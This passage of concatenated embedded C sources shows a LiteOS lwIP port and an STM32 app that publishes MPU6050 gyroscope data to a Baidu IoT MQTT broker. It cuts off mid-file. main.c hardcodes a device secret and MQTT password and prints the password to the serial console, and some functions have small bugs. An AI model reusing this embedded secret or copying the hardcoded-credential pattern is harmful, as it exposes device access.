*---------------------------------------------------------------------------* * Description: * return the systick counter * Inputs: * Outputs: * u32_t -- systick count *---------------------------------------------------------------------------*/ u32_t sys_now(void) { return (u32_t)LOS_TickCountGet(); } #if !NO_SYS /*---------------------------------------------------------------------------* * Routine: sys_sem_new *---------------------------------------------------------------------------* * Description: * Creates and returns a new semaphore. The "count" argument specifies * the initial state of the semaphore. * NOTE: Currently this routine only creates counts of 1 or 0 * Inputs: * sys_sem_t *sem -- Handle of semaphore * u8_t count -- Initial count of semaphore (1 or 0) * Outputs: * err_t -- ERR_MEM: create semaphore failed ERR_OK: create semaphore success *---------------------------------------------------------------------------*/ err_t sys_sem_new(sys_sem_t *sem, u8_t count) { err_t ret = ERR_MEM; /* create mutex */ if(LOS_MuxCreate(sem) != LOS_OK) { ret = ERR_MEM; //SYS_STATS_INC(sem.err); } else { ret = ERR_OK; //SYS_STATS_INC_USED(sem); } if(count == 0UL) { /* get the mutex */ if(LOS_MuxPend(*sem, LOS_WAIT_FOREVER) != LOS_OK) { ret = ERR_MEM; //SYS_STATS_INC(sem.err); } else { ret = ERR_OK; } } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_sem_free *---------------------------------------------------------------------------* * Description: * Deallocates a semaphore * Inputs: * sys_sem_t *sem -- Semaphore to free *---------------------------------------------------------------------------*/ void sys_sem_free(sys_sem_t *sem) { /* parameter check */ LWIP_ASSERT("sem != NULL", sem != NULL); // SYS_STATS_DEC(sem.used); LOS_MuxDelete(*sem); } /*---------------------------------------------------------------------------* * Routine: sys_sem_signal *---------------------------------------------------------------------------* * Description: * Signals (releases) a semaphore * Inputs: * sys_sem_t sem -- Semaphore to signal *---------------------------------------------------------------------------*/ void sys_sem_signal(sys_sem_t *sem) { /* parameter check */ LWIP_ASSERT("sem != NULL", sem != NULL); LOS_MuxPost(*sem); } /*---------------------------------------------------------------------------* * Routine: sys_arch_sem_wait *---------------------------------------------------------------------------* * Description: * Blocks the thread while waiting for the semaphore to be * signaled. If the "timeout" argument is non-zero, the thread should * only be blocked for the specified time (measured in * milliseconds). * * If the timeout argument is non-zero, the return value is the number of * milliseconds spent waiting for the semaphore to be signaled. If the * semaphore wasn't signaled within the specified time, the return value is * SYS_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore * (i.e., it was already signaled), the function may return zero. * * Notice that lwIP implements a function with a similar name, * sys_sem_wait(), that uses the sys_arch_sem_wait() function. * Inputs: * sys_sem_t sem -- Semaphore to wait on * u32_t timeout -- Number of milliseconds until timeout * Outputs: * u32_t -- Time elapsed or SYS_ARCH_TIMEOUT. *---------------------------------------------------------------------------*/ u32_t sys_arch_sem_wait(sys_sem_t *sem, u32_t timeout) { u32_t ret; UINT64 time_start, time_end, time_diff; /* parameter check */ LWIP_ASSERT("sem != NULL", sem != NULL); time_start = LOS_TickCountGet(); if( timeout != 0UL ) { if(LOS_MuxPend(*sem, timeout) == LOS_OK) { time_end = LOS_TickCountGet(); time_diff = time_end - time_start; ret = time_diff; } else { ret = SYS_ARCH_TIMEOUT; } } else { LOS_MuxPend(*sem, LOS_WAIT_FOREVER); time_end = LOS_TickCountGet(); time_diff = time_end - time_start; ret = time_diff; } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_mutex_new *---------------------------------------------------------------------------* * Description: * Creates and returns a new mutex. * just call sys_mutex_new() * Inputs: * sys_mutex_t *mutex -- Handle of mutex= * Outputs: * err_t -- ERR_MEM: create mutex failed ERR_OK: create mutex success *---------------------------------------------------------------------------*/ err_t sys_mutex_new(sys_mutex_t *mutex) { return sys_sem_new((sys_sem_t *)mutex, 1); } /*---------------------------------------------------------------------------* * Routine: sys_mutex_free *---------------------------------------------------------------------------* * Description: * Deallocates a mutex * just call sys_sem_free() * Inputs: * sys_mutex_t *mutex -- mutex to free *---------------------------------------------------------------------------*/ void sys_mutex_free(sys_mutex_t *mutex) { sys_sem_free((sys_sem_t *)mutex); } /*---------------------------------------------------------------------------* * Routine: sys_mutex_lock *---------------------------------------------------------------------------* * Description: * wait a mutex * just call sys_arch_sem_wait() * Inputs: * sys_mutex_t mutex -- mutex to lock *---------------------------------------------------------------------------*/ void sys_mutex_lock(sys_mutex_t *mutex) { sys_arch_sem_wait((sys_sem_t *)mutex, 0); } /*---------------------------------------------------------------------------* * Routine: sys_mutex_unlock *---------------------------------------------------------------------------* * Description: * unlock (releases) a mutex * just call sys_sem_signal() * Inputs: * sys_mutex_t mutex -- mutex to unlock *---------------------------------------------------------------------------*/ void sys_mutex_unlock(sys_mutex_t *mutex) { sys_sem_signal((sys_sem_t *)mutex); } /*---------------------------------------------------------------------------* * Routine: sys_mbox_new *---------------------------------------------------------------------------* * Description: * Creates a new mailbox * Inputs: sys_mbox_t q -- mailbox to create * int size -- Size of elements in the mailbox * Outputs: * err_t -- ERR_MEM: create mailbox failed ERR_OK: create mailbox success *---------------------------------------------------------------------------*/ err_t sys_mbox_new( sys_mbox_t *q, int size ) { err_t ret = ERR_MEM; /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); LWIP_ASSERT("size != NULL", size != NULL); if(LOS_QueueCreate("", size, q, 0, sizeof(void *)) == LOS_OK) { ret = ERR_OK; //SYS_STATS_INC_USED(mbox); } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_mbox_free *---------------------------------------------------------------------------* * Description: * Deallocates a mailbox. If there are messages still present in the * mailbox when the mailbox is deallocated, it is an indication of a * programming error in lwIP and the developer should be notified. * Inputs: * sys_mbox_t mbox -- Handle of mailbox * Outputs: * sys_mbox_t -- Handle to new mailbox *---------------------------------------------------------------------------*/ void sys_mbox_free( sys_mbox_t *q ) { /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); LOS_QueueDelete(*q); // while (LOS_QueueDelete(*q) != LOS_OK) // { // LOS_TaskDelay(1); // } } /*---------------------------------------------------------------------------* * Routine: sys_mbox_post *---------------------------------------------------------------------------* * Description: * Post the "msg" to the mailbox. * Inputs: * sys_mbox_t mbox -- Handle of mailbox * void *data -- Pointer to data to post *---------------------------------------------------------------------------*/ void sys_mbox_post(sys_mbox_t *q, void *data) { /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); LOS_QueueWrite(*q, data, sizeof(void *), LOS_WAIT_FOREVER); } /*---------------------------------------------------------------------------* * Routine: sys_mbox_trypost *---------------------------------------------------------------------------* * Description: * Try to post the "msg" to the mailbox. Returns immediately with * error if cannot. * Inputs: * sys_mbox_t mbox -- Handle of mailbox * void *msg -- Pointer to data to post * Outputs: * err_t -- ERR_OK if message posted, else ERR_MEM * if not. *---------------------------------------------------------------------------*/ err_t sys_mbox_trypost(sys_mbox_t *q, void *data) { err_t ret = ERR_OK; /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); if(LOS_QueueWrite(*q, data, sizeof(void *), LOS_NO_WAIT) != LOS_OK) { /* The queue was already full. */ ret = ERR_MEM; SYS_STATS_INC( mbox.err ); } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_arch_mbox_fetch *---------------------------------------------------------------------------* * Description: * Blocks the thread until a message arrives in the mailbox, but does * not block the thread longer than "timeout" milliseconds (similar to * the sys_arch_sem_wait() function). The "msg" argument is a result * parameter that is set by the function (i.e., by doing "*msg = * ptr"). The "msg" parameter maybe NULL to indicate that the message * should be dropped. * * The return values are the same as for the sys_arch_sem_wait() function: * Number of milliseconds spent waiting or SYS_ARCH_TIMEOUT if there was a * timeout. * * Note that a function with a similar name, sys_mbox_fetch(), is * implemented by lwIP. * Inputs: * sys_mbox_t mbox -- Handle of mailbox * void **msg -- Pointer to pointer to msg received * u32_t timeout -- Number of milliseconds until timeout * Outputs: * u32_t -- SYS_ARCH_TIMEOUT if timeout, else number * of milliseconds until received. *---------------------------------------------------------------------------*/ u32_t sys_arch_mbox_fetch( sys_mbox_t *q, void **data, u32_t timeout ) { u32_t ret; UINT64 time_start, time_end, time_diff; /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); time_start = LOS_TickCountGet(); if(timeout != 0UL) { if(LOS_QueueRead(*q, data, sizeof(void *), timeout) == LOS_OK) { time_end = LOS_TickCountGet(); time_diff = time_end - time_start; ret = time_diff; } else { ret = SYS_ARCH_TIMEOUT; } } else { LOS_QueueRead(*q, data, sizeof(void *), LOS_WAIT_FOREVER); time_end = LOS_TickCountGet(); time_diff = time_end - time_start; ret = time_diff; } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_arch_mbox_tryfetch *---------------------------------------------------------------------------* * Description: * Similar to sys_arch_mbox_fetch, but if message is not ready * immediately, we'll return with SYS_MBOX_EMPTY. On success, 0 is * returned. * Inputs: * sys_mbox_t mbox -- Handle of mailbox * void **msg -- Pointer to pointer to msg received * Outputs: * u32_t -- SYS_MBOX_EMPTY if no messages. Otherwise, * return ERR_OK. *---------------------------------------------------------------------------*/ u32_t sys_arch_mbox_tryfetch( sys_mbox_t *q, void **data ) { u32_t ret; /* parameter check */ LWIP_ASSERT("q != NULL", q != NULL); LWIP_ASSERT("data != NULL", data != NULL); if(LOS_QueueRead(*q, data, sizeof(void *), 0UL) == LOS_OK) { ret = ERR_OK; } else { ret = SYS_MBOX_EMPTY; } return ret; } /*---------------------------------------------------------------------------* * Routine: sys_thread_new *---------------------------------------------------------------------------* * Description: * Starts a new thread with priority "prio" that will begin its * execution in the function "thread()". The "arg" argument will be * passed as an argument to the thread() function. The id of the new * thread is returned. Both the id and the priority are system * dependent. * Inputs: * char *name -- Name of thread * lwip_thread_fn function -- Pointer to function to run. * void *arg -- Argument passed into function * int stacksize -- Required stack amount in bytes * int prio -- Thread priority * Outputs: * sys_thread_t -- Pointer to per-thread timeouts. *---------------------------------------------------------------------------*/ sys_thread_t sys_thread_new(const char *name, lwip_thread_fn function, void *arg, int stacksize, int prio) { UINT32 task_id = 0; TSK_INIT_PARAM_S stInitParam; stInitParam.pfnTaskEntry = (TSK_ENTRY_FUNC)function; stInitParam.usTaskPrio = prio; stInitParam.pcName = (CHAR *)name; stInitParam.auwArgs[0] = (UINT32)arg; stInitParam.uwStackSize = stacksize; stInitParam.uwResved = LOS_TASK_STATUS_DETACHED; if (LOS_TaskCreate(&task_id, &stInitParam) != LOS_OK) { return 0; } return task_id; } /*---------------------------------------------------------------------------* * Routine: sys_arch_protect *---------------------------------------------------------------------------* * Description: * This optional function does a "fast" critical region protection and * returns the previous protection level. This function is only called * during very short critical regions. An embedded system which supports * ISR-based drivers might want to implement this function by disabling * interrupts. Task-based systems might want to implement this by using * a mutex or disabling tasking. This function should support recursive * calls from the same task or interrupt. In other words, * sys_arch_protect() could be called while already protected. In * that case the return value indicates that it is already protected. * * sys_arch_protect() is only required if your port is supporting an * operating system. * Outputs: * sys_prot_t -- Previous protection level (not used here) *---------------------------------------------------------------------------*/ sys_prot_t sys_arch_protect( void ) { return (sys_prot_t)LOS_IntLock(); } /*---------------------------------------------------------------------------* * Routine: sys_arch_unprotect *---------------------------------------------------------------------------* * Description: * This optional function does a "fast" set of critical region * protection to the value specified by pval. See the documentation for * sys_arch_protect() for more information. This function is only * required if your port is supporting an operating system. * Inputs: * sys_prot_t -- Previous protection level (not used here) *---------------------------------------------------------------------------*/ void sys_arch_unprotect(sys_prot_t value) { LOS_IntRestore(value); } #endif /* !NO_SYS */ ``` main.c ```/* * ๅŸบไบŽ็™พๅบฆไบ‘+MPU6050 * ๅซๆ˜Ÿๅคฉ็บฟๅงฟๆ€็›‘ๆต‹ๅบ”็”จ * MQTT+LWIPไปฃ็ ๅ‚่€ƒ * https://github.com/LiteOS/LiteOS_Connect_to_3rd_Cloud/tree/master/liteos_to_alicloud/liteos_alicloud_ๆ™บๆ…งๅ†œไธš็คบ่Œƒๅบ”็”จ */ /* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" //--// #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "includes.h" #include "lwipopts/netconf.h" //--// #include "iot_import.h" #include "iot_export.h" #include "los_mux.h" //--// #include "MQTTPacket.h" #include "MQTTConnect.h" #include "MPU6050.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; #define PRODUCT_KEY "liteos" #define DEVICE_NAME "imu" #define DEVICE_SECRET "WVpwvt1cnfSvJ2yZzvXls+lnnwZf37Vxv8esxU6kXlk=" #define IOT_TOPIC_MPU_POST "mpu" #define IOT_TOPIC_MPU_POSTRSP "mpu" #define IOT_TOPIC_MPU_SET "mpu" #define MSG_LEN_MAX (1024) //--// UINT32 SendCount = 0; void *pclient; iotx_conn_info_pt pconn_info; iotx_mqtt_param_t mqtt_params; iotx_mqtt_topic_info_t topic_msg; char msg_pub[512]; char *msg_buf = NULL, *msg_readbuf = NULL; char param[256]; uint8_t DeviceState = 1; float g_X = 0; float g_Y = 0; float g_Z = 0; /* Private function prototypes -----------------------------------------------*/ void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); //ไธฒๅฃ้…็ฝฎ //MODBUSRTU_UART_Init(); //ไปฅๅคช็ฝ‘้…็ฝฎ ETH_BSP_Config(); } //----------------------------// //่ฎพๅค‡็Šถๆ€ void ReadMPUTask(void) { int ret = 0; short Acel[3]; short Gyro[3]; float Temp; //ๅˆๅง‹ๅŒ– I2C I2cMaster_Init(); printf("\r\n ่ฏปๅ†™I2Cๅค–่ฎพ(MPU6050)่ฏปๅ†™ \r\n"); //MPU6050ๅˆๅง‹ๅŒ– MPU6050_Init(); //ๆฃ€ๆต‹MPU6050 if (MPU6050ReadID() == 1) { while(1) { //่ฏปๅ–่ฎพๅค‡ๆ•ฐๆฎ MPU6050ReadAcc(Acel); printf("ๅŠ ้€Ÿๅบฆ๏ผš%8d%8d%8d",Acel[0],Acel[1],Acel[2]); MPU6050ReadGyro(Gyro); printf("้™€่žบไปช%8d%8d%8d",Gyro[0],Gyro[1],Gyro[2]); MPU6050_ReturnTemp(&Temp); printf("==ๆธฉๅบฆ==%8.2f\r\n",Temp); g_X = Gyro[0]; g_Y = Gyro[1]; g_Z = Gyro[2]; LOS_TaskDelay(500); } } } //่ฎข้˜…ๅ้ฆˆ static void mqtt_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg) { iotx_mqtt_topic_info_pt ptopic_info = (iotx_mqtt_topic_info_pt) msg->msg; // print topic name and topic message printf("----\r\n"); printf("Topic: '%.*s' (Length: %d)\r\n", ptopic_info->topic_len, ptopic_info->ptopic, ptopic_info->topic_len); printf("Payload: '%.*s' (Length: %d)\r\n", ptopic_info->payload_len, ptopic_info->payload, ptopic_info->payload_len); printf("----\r\n"); } //MQTT็Šถๆ€ void mqtt_event_handle(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg) { uintptr_t packet_id = (uintptr_t)msg->msg; iotx_mqtt_topic_info_pt topic_info = (iotx_mqtt_topic_info_pt)msg->msg; switch (msg->event_type) { case IOTX_MQTT_EVENT_UNDEF: printf("undefined event occur.\r\n"); break; case IOTX_MQTT_EVENT_DISCONNECT: printf("MQTT disconnect.\r\n"); //่ฟžๆŽฅๆ–ญๅผ€๏ผŒ้€š็Ÿฅๅฏนๅบ”็จ‹ๅบ้‡่ฟž DeviceState = 1; break; case IOTX_MQTT_EVENT_RECONNECT: printf("MQTT reconnect.\r\n"); break; case IOTX_MQTT_EVENT_SUBCRIBE_SUCCESS: printf("subscribe success, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_SUBCRIBE_TIMEOUT: printf("subscribe wait ack timeout, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_SUBCRIBE_NACK: printf("subscribe nack, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_SUCCESS: printf("unsubscribe success, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_TIMEOUT: printf("unsubscribe timeout, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_NACK: printf("unsubscribe nack, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_SUCCESS: printf("publish success, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_TIMEOUT: printf("publish timeout, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_NACK: printf("publish nack, packet-id=%u\r\n", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_RECVEIVED: printf("topic message arrived but without any related handle: topic=%.*s, topic_msg=%.*s\r\n", topic_info->topic_len, topic_info->ptopic, topic_info->payload_len, topic_info->payload); break; case IOTX_MQTT_EVENT_BUFFER_OVERFLOW: printf("buffer overflow, %s\r\n", (char *)msg->msg); break; default: printf("Should NOT arrive here.\r\n"); break; } } //----------------------------------// void MQTTBaiduTask(void) { int rc = 0; if (NULL == (msg_buf = (char *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,MSG_LEN_MAX))) { printf("not enough memory\r\n"); goto do_exit; } if (NULL == (msg_readbuf = (char *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,MSG_LEN_MAX))) { printf("not enough memory\r\n"); goto do_exit; } /* Device AUTH */ if (0 != IOT_SetupConnInfo(PRODUCT_KEY, DEVICE_NAME, DEVICE_SECRET, (void **)&pconn_info)) { printf("AUTH request failed!\r\n"); goto do_exit; } memset(&mqtt_params, 0x0, sizeof(mqtt_params)); mqtt_params.port = 1883; mqtt_params.host = "liteos.mqtt.iot.gz.baidubce.com"; mqtt_params.client_id = "649cf54c800542"; mqtt_params.username = "liteos/imu"; mqtt_params.password = "WVpwvt1cnfSvJ2yZzvXls+lnnwZf37Vxv8esxU6kXlk="; mqtt_params.pub_key = NULL; //็›ด่ฟž mqtt_params.request_timeout_ms = 2000; mqtt_params.clean_session = 0; mqtt_params.keepalive_interval_ms = 60000; mqtt_params.pread_buf = msg_readbuf; mqtt_params.read_buf_size = MSG_LEN_MAX; mqtt_params.pwrite_buf = msg_buf; mqtt_params.write_buf_size = MSG_LEN_MAX; mqtt_params.handle_event.h_fp = mqtt_event_handle; mqtt_params.handle_event.pcontext = NULL; printf("-----host=%s port=%d\r\n",mqtt_params.host,mqtt_params.port); printf("-----username=%s password=%s\r\n",mqtt_params.username,mqtt_params.password); //--// while(1) { //MQTT้“พๆŽฅ if(DeviceState==1) { LOS_TaskDelay(1000); if(pclient!=NULL) { printf("MQTT_Destroy!!!\r\n"); IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP); LOS_TaskDelay(200); IOT_MQTT_Destroy(&pclient); } pclient = IOT_MQTT_Construct(&mqtt_params); if (NULL == pclient) { printf("MQTT construct failed\r\n"); } else { DeviceState=2; printf("MQTT construct succeed\r\n"); } } else if(DeviceState==2) { //Initialize topic information memset(&topic_msg, 0x0, sizeof(iotx_mqtt_topic_info_t)); topic_msg.qos = IOTX_MQTT_QOS1; topic_msg.retain = 0; topic_msg.dup = 0; //read sensor data memset(param, 0, sizeof(param)); memset(msg_pub, 0, sizeof(msg_pub)); sprintf(param, "{\"X\":%3.1f,\"Y\":%3.1f,\"Z\":%3.1f}",g_X,g_Y,g_Z); int msg_len = sprintf(msg_pub, param); if (msg_len < 0) { printf("Error occur! Exit program\r\n"); break; } printf("IOT_MQTT_Publish\r\n"); topic_msg.payload = (void *)msg_pub; topic_msg.payload_len = msg_len; rc = IOT_MQTT_Publish(pclient, IOT_TOPIC_MPU_POST, &topic_msg); if (rc < 0) { printf("error occur when publish. %d\r\n", rc); IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP); LOS_TaskDelay(200); IOT_MQTT_Destroy(&pclient); pclient = NULL; DeviceState = 1; //้‡ๆ–ฐ่ฟžๆŽฅ //continue; } printf("packet-id=%u, publish topic msg=%s\r\n", (uint32_t)rc, msg_pub); IOT_MQTT_Yield(pclient, 200); LOS_TaskDelay(500); ///0.5็ง’ไธŠไผ ไธ€ๆฌกๆ•ฐๆฎ } LOS_TaskDelay(20); } //----------------------------------------// IOT_MQTT_Unsubscribe(pclient, IOT_TOPIC_MPU_POSTRSP); LOS_TaskDelay(200); IOT_MQTT_Destroy(&pclient); do_exit: DeviceState = 4; if (NULL != msg_buf) { LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,msg_buf); } if (NULL != msg_readbuf) { LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,msg_readbuf); } } //----------------------------------------------------------------------------- //ๅˆ›ๅปบ่ฎพๅค‡ไปปๅŠก UINT32 Create_ReadMPUTask() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "ReadMPUTask"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)ReadMPUTask; task_init_param.uwStackSize =0x1000; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } #ifdef USE_DHCP UINT32 Create_DHCPTask() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "DHCP"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } #endif //ๅˆ›ๅปบๅ‘้€ๆ•ฐๆฎไปปๅŠก UINT32 Create_MQTTBaiduTask() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "MQTTBaiduTask"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)MQTTBaiduTask; task_init_param.uwStackSize =0x1000; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } //====================================================================== //ไธปๅ‡ฝๆ•ฐ //====================================================================== int main(void) { UINT32 uwRet = LOS_OK; //ๅ†…ๆ ธๅˆๅง‹ๅŒ– LOS_KernelInit(); //็กฌไปถๅˆๅง‹ๅŒ– hardware_init(); printf("-------------- LiteOS + Baidu IOT ---------------\r\n"); //Initilaize the LwIP stack LwIP_Init(); //่ฎพๅค‡็Šถๆ€+MQTTๅ้ฆˆไฟกๆฏไปปๅŠก uwRet = Create_ReadMPUTask(); if(uwRet != LOS_OK) { return uwRet; } #ifdef USE_DHCP //ๅˆ›ๅปบDHCPไปปๅŠก printf("Create DHCP task...\r\n"); uwRet = Create_DHCPTask(); if(uwRet != LOS_OK) { return uwRet; } #endif //MQTT uwRet = Create_MQTTBaiduTask(); if(uwRet != LOS_OK) { return uwRet; } //ๅฏๅŠจLiteOS LOS_Start(); } ``` mqtt_client.h ```/* * MQTT client for lwIP * Author: Erik Andersson * Details of the MQTT protocol can be found at: http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html * */ #ifndef __MQTT_CLIENT_H__ #define __MQTT_CLIENT_H__ void mqtt_client_init(void); #endif /* __MQTT_CLIENT_H__ */``` options.h ```#ifndef OPTIONS_H #define OPTIONS_H #endif /* OPTIONS_H */ ``` include.h ```/* ******************************************************************************** * Filename : include.h * Version : V1.00 * Programmer(s) : miaoyahan * Time : 20180511 ******************************************************************************** */ #include "cmsis_os.h" #include "los_event.h" #include "los_membox.h" #include "los_hwi.h" #include "los_mux.ph" #include "los_queue.ph" #include "los_sem.ph" #include "los_swtmr.ph" #include "los_sys.ph" #include "los_task.ph" #include "los_tick.ph" #include "lwip/mem.h" #include "lwip/memp.h" #include "lwip/dhcp.h" #include "ethernetif.h" #include "lwipopts/netconf.h" #include "LAN8742A.h" #include "tcpip.h" #include "los_base.h" #include "sockets.h" #include "netdb.h" #include "iot_import.h" #include "iot_export.h" #include "los_mux.h" #include "los_config.h" #include "los_memory.h" /* ******************************************************************************** * END ******************************************************************************** */ ``` HAL_OS.c ```/* * Copyright (c) 2014-2016 Alibaba Group. All rights reserved. * License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <stdio.h> #include <stdlib.h> //#include <stdarg.h> #include "iot_import.h" #include "los_config.h" /** used for OS time - stNowTime */ #include "../user_IAR/modbus.h" extern TDateTime stNowTime; #define MUX_NULL_TIAN #ifdef MUX_NULL_TIAN //#undef MUX_NULL_TIAN #endif MUX_CB_S *HAL_MutexCreate(void) { #ifdef MUX_NULL_TIAN u32_t uMuxId; u32_t uRet; uRet = LOS_MuxCreate(&uMuxId); if(LOS_OK == uRet) { return (MUX_CB_S *)GET_MUX(uMuxId); } else { return NULL; } #endif return NULL; } void HAL_MutexDestroy(_IN_ MUX_CB_S *mutex) { #ifdef MUX_NULL_TIAN u32_t uRet; if (NULL == mutex) { return; } uRet = LOS_MuxDelete(((MUX_CB_S*)mutex)->ucMuxID); #endif } void HAL_MutexLock(_IN_ MUX_CB_S *mutex) { #ifdef MUX_NULL_TIAN u32_t uRet; if (NULL == mutex) { return; } /** LOS_WAIT_FOREVERๆ–นๅผ็”ณ่ฏทไบ’ๆ–ฅ้”,่Žทๅ–ไธๅˆฐๆ—ถ็จ‹ๅบ้˜ปๅกž๏ผŒไธไผš่ฟ”ๅ›ž */ uRet = LOS_MuxPend(((MUX_CB_S*)mutex)->ucMuxID, LOS_WAIT_FOREVER); #endif } void HAL_MutexUnlock(_IN_ MUX_CB_S *mutex) { #ifdef MUX_NULL_TIAN u32_t uRet; if (NULL == mutex) { return; } uRet = LOS_MuxPost(((MUX_CB_S*)mutex)->ucMuxID); #endif } void *HAL_Malloc(_IN_ uint32_t size) { mem_malloc(size); } void HAL_Free(_IN_ void *ptr) { mem_free(ptr); } uint32_t HAL_UptimeMs(void) { uint32_t time_ms; /*(stNowTime.y-18) ๆš‚ไธ่€ƒ่™‘ ๅนด ๆœˆ ๆ—ฅ ็š„่ฝฌๆข */ time_ms = (stNowTime.h*3600 + stNowTime.min*60 + stNowTime.s) *1000 + stNowTime.ms; return time_ms; } void HAL_SleepMs(_IN_ uint32_t ms) { // if ((ms > 0) && (ms < (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000))) { // ms = (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000); // } // LOS_TaskDelay(ms / (LOSCFG_BASE_CORE_TICK_PER_SECOND/1000)); /** because of 1 tick = 1ms */ LOS_TaskDelay(ms); } char *HAL_GetPartnerID(char pid_str[]) { return NULL; } ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" //#include "cmsis_os.h" /** TY ไผ˜ๅ…ˆไฝฟ็”จ IAR ่‡ชๅธฆ็š„ CMSIS, ่€Œ้žไฝฟ็”จ $PROJ_DIR$\kernel\compat\cmsis */ #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "LAN8742A.h" #include "netconf.h" #include "modbus.h" /* extern variables ----------------------------------------------------------*/ extern __IO UINT8 EthLinkStatus; /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Extern variables ---------------------------------------------------------*/ extern TBuffModbus stBufModbus; /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; /** TY Record the Task's ID, when create Task...*/ __IO uint32_t LocalTime = 0; /** this variable is used to create a time reference incremented by 10ms */ /** Aliyun MQTT */ __IO u8_t uDeviceStateDHCP = 0; /** ไธบ1ๆ—ถ่กจ็คบ้€š่ฟ‡ DHCP getๅˆฐ ip */ __IO u8_t uDeviceStateDNS = 0; /** ไธบ1ๆ—ถ่กจ็คบๅทฒ็ปๅพ—ๅˆฐ Aliyun MQTT server ็š„ IP */ extern int mqtt_client(void); /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ void TIM3_IRQHandler(void); static void hardware_init(void); static void software_init(void); /* Function ------------------------------------------------------------------*/ static void software_init(void) { /** Initilaize the LwIP stack */ LwIP_Init(); printf("Initilaize the LwIP stack SUCCESS.\r\n"); /** OS tick ๅฏๅŠจไน‹ๅŽไผšๆŽฅ็ฎก ๆจกๆ‹Ÿosๆ—ถ้—ด TDateTime stNowTime, ่ฟ™้‡Œๅ…ˆๅˆๅง‹ๅŒ–ไธ€ๆฌก */ } static void hardware_init(void) { LED_GPIO_Config(); /* 